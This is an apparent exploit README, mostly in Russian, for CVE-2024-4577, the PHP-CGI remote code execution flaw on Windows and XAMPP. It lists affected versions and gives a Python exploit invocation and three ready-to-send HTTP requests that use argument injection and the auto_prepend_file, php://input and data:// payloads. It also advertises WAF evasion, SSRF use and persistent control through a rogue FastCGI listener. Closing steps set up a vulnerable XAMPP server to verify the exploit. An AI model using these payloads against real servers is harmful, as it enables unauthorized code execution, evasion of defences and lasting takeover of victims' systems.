CVE-2024-4577-PHP-RCE

Описание проекта и принцип работы

• Первая в мире эксплойт для CVE-2024-4577 PHP-CGI RCE, использующая стандартную среду PHP (XAMPP).
• The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
• Реализация RCE в стандартной среде PHP. Принцип: cgi.force_redirect + REDIRECT-STATUS.
• Добавлен оригинальный эксплойт, поддерживающий обход WAF. Принцип: создание сервера FastCGI + протокол FastCGI.
• Добавлен оригинальный эксплойт, поддерживающий сценарий SSRF. Принцип: протокол data:// + GET-запрос.

Преимущества EXP 1

• RCE без необходимости в allow_url_include, auto_prepend_file, auto_append_file. Можно включать любые файлы и php-файлы.
• Не содержит ключевых слов, часто блокируемых WAF: allow_url_include, auto_prepend_file, auto_append_file.
• Весь трафик сервера FastCGI не записывается WAF.
• Прослушивает новый порт, тем самым обеспечивая постоянный контроль над PHP-сервером, независимо от Apache и PHP.

Описание уязвимости

Информация	Содержание
Название уязвимости	PHP RCE
Идентификатор уязвимости	CVE-2024-4577
Уровень риска	Высокий
Тип уязвимости	RCE
Сложность эксплуатации	Низкая

Затронутые версии

• PHP Windows 8.3.0 <= затронутые версии < 8.3.8
• PHP Windows 8.2.0 <= затронутые версии < 8.2.20
• PHP Windows 8.1.0 <= затронутые версии < 8.1.29
• PHP Windows затронутые версии == 8.0.x
• PHP Windows затронутые версии == 7.x
• PHP Windows затронутые версии == 5.x
• XAMPP Windows 8.2.0 <= затронутые версии <= 8.2.12
• XAMPP Windows 8.1.0 <= затронутые версии <= 8.1.25
• XAMPP Windows затронутые версии == 8.0.x
• XAMPP Windows затронутые версии == 7.x
• XAMPP Windows затронутые версии == 5.x

EXP 1

Используется для обхода WAF + стандартный сценарий:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

Например:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Используется для сценария SSRF + стандартный сценарий:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Используется для стандартного сценария:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Используется для стандартного сценария:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Воспроизведение

1. Среда на сервере:

XAMPP Windows версия 8.2.12

2. Скачать и установить XAMPP на сервере:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

Или самостоятельно выбрать затронутую версию здесь: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. Конфигурация сервера

Не требуется никаких изменений, оставить стандартную конфигурацию

4. Клиент использует EXP

Используйте приведённые выше EXP для тестирования

5. Проверка

Проверить, возвращается ли строка "TesT" или содержимое файла system.ini на сервере